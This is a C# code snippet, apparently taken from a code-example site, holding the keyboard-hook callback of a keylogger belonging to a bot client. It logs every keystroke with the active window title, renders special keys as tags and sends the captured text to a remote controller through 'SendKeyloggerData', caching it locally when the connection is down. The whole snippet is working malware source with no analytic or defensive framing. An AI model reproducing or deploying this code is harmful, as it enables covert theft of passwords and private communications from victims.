示例#1
0
        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            try
            {
                if (nCode >= 0 && wParam == (IntPtr)0x0100)
                {
                    string strCurrentActiveWindow = CUtils.GetActiveWindowText();

                    if (m_KeyloggerLog == null)
                    {
                        m_KeyloggerLog            = new CKeylogData();
                        m_KeyloggerLog.WindowName = strCurrentActiveWindow;
                    }
                    else
                    {
                        if (strCurrentActiveWindow != m_KeyloggerLog.WindowName)
                        {
                            //new Thread(delegate()
                            //  {
                            CKeylogData SendData = m_KeyloggerLog;
                            if (CBot.m_GopnikClient.IsConnected())
                            {
                                CBot.m_GopnikClient.SendKeyloggerData(SendData.ToString());

                                if (LogExists())
                                {
                                    foreach (string strLog in GetLogData())
                                    {
                                        CBot.m_GopnikClient.SendKeyloggerData(strLog);
                                    }
                                }
                            }
                            else
                            {
                                WriteLog(SendData.ToString());
                            }
                            //  }).Start();

                            m_KeyloggerLog            = new CKeylogData();
                            m_KeyloggerLog.WindowName = strCurrentActiveWindow;
                        }
                    }
                    KeyboardHookStruct MyKeyboardHookStruct =
                        (KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct));

                    string strData = string.Empty;

                    Keys currentKey = (Keys)MyKeyboardHookStruct.vkCode;//char cKey = (Keys)vkCode;

                    switch (currentKey)
                    {
                    case Keys.Tab:
                        strData += "[TAB]";
                        break;

                    case Keys.Alt:
                        strData += "[ALT]";
                        break;

                    case Keys.F1:
                    case Keys.F2:
                    case Keys.F3:
                    case Keys.F4:
                    case Keys.F5:
                    case Keys.F6:
                    case Keys.F7:
                    case Keys.F8:
                    case Keys.F9:
                    case Keys.F10:
                    case Keys.F11:
                    case Keys.F12:
                    case Keys.F13:
                    case Keys.F14:
                    case Keys.F15:
                    case Keys.F16:
                    case Keys.F17:
                    case Keys.F18:
                    case Keys.F19:
                    case Keys.F20:
                    case Keys.F21:
                    case Keys.F22:
                    case Keys.F23:
                    case Keys.F24:
                        int iKey = (int)currentKey;
                        strData = string.Format("[F{0}]", iKey - 111);
                        break;

                    case Keys.CapsLock:
                        strData = "[CAPSLOCK]";
                        break;

                    case Keys.Shift:
                        strData = "[SHIFT]";
                        break;

                    case Keys.LShiftKey:
                        strData = "[LSHIFT]";
                        break;

                    case Keys.RShiftKey:
                        strData = "[RSHIFT]";
                        break;

                    case Keys.Enter:
                        strData = "[ENTER]";
                        break;

                    case Keys.End:
                        strData = "[END]";
                        break;

                    case Keys.Insert:
                        strData = "[INSERT]";
                        break;

                    case Keys.PageDown:
                        strData = "[PAGE-DOWN]";
                        break;

                    case Keys.PageUp:
                        strData = "[PAGE-UP]";
                        break;

                    case Keys.Back:
                        strData = "[BACKSPACE]";
                        break;

                    case Keys.Delete:
                        strData = "[DELETE]";
                        break;

                    case Keys.Home:
                        strData = "[HOME]";
                        break;

                    case Keys.LControlKey:
                        strData = "[L-CTRL]";
                        break;

                    case Keys.RControlKey:
                        strData = "[R-CTRL]";
                        break;

                    case Keys.PrintScreen:
                        strData = "[PRINT-SCREEN]";
                        break;

                    default:
                    {
                        byte[] arr_bKeyboardState = new byte[256];
                        CUser32.GetKeyboardState(arr_bKeyboardState);

                        //byte[] arr_bInBuffer = new byte[2];
                        StringBuilder sbData = new StringBuilder(256);

                        if (CUser32.ToUnicode(MyKeyboardHookStruct.vkCode, MyKeyboardHookStruct.scanCode, arr_bKeyboardState, sbData, sbData.Capacity, MyKeyboardHookStruct.flags) == 1)
                        {
                            strData = sbData.ToString();

                            bool isDownShift    = ((CUser32.GetKeyState(0x10) & 0x80) == 0x80 ? true : false);
                            bool isDownCapslock = (CUser32.GetKeyState(0x14) != 0 ? true : false);
                            if (!(isDownCapslock ^ isDownShift) && Char.IsLetter((char)currentKey))
                            {
                                strData = strData.ToLower();
                            }
                        }
                    }
                    break;
                    }
                    m_KeyloggerLog.Data += strData;

                    Console.WriteLine("{0}:{1}", m_KeyloggerLog.WindowName, m_KeyloggerLog.Data);
                }
            }
            catch { }
            return(CUser32.CallNextHookEx(m_pHookID, nCode, wParam, lParam));
        }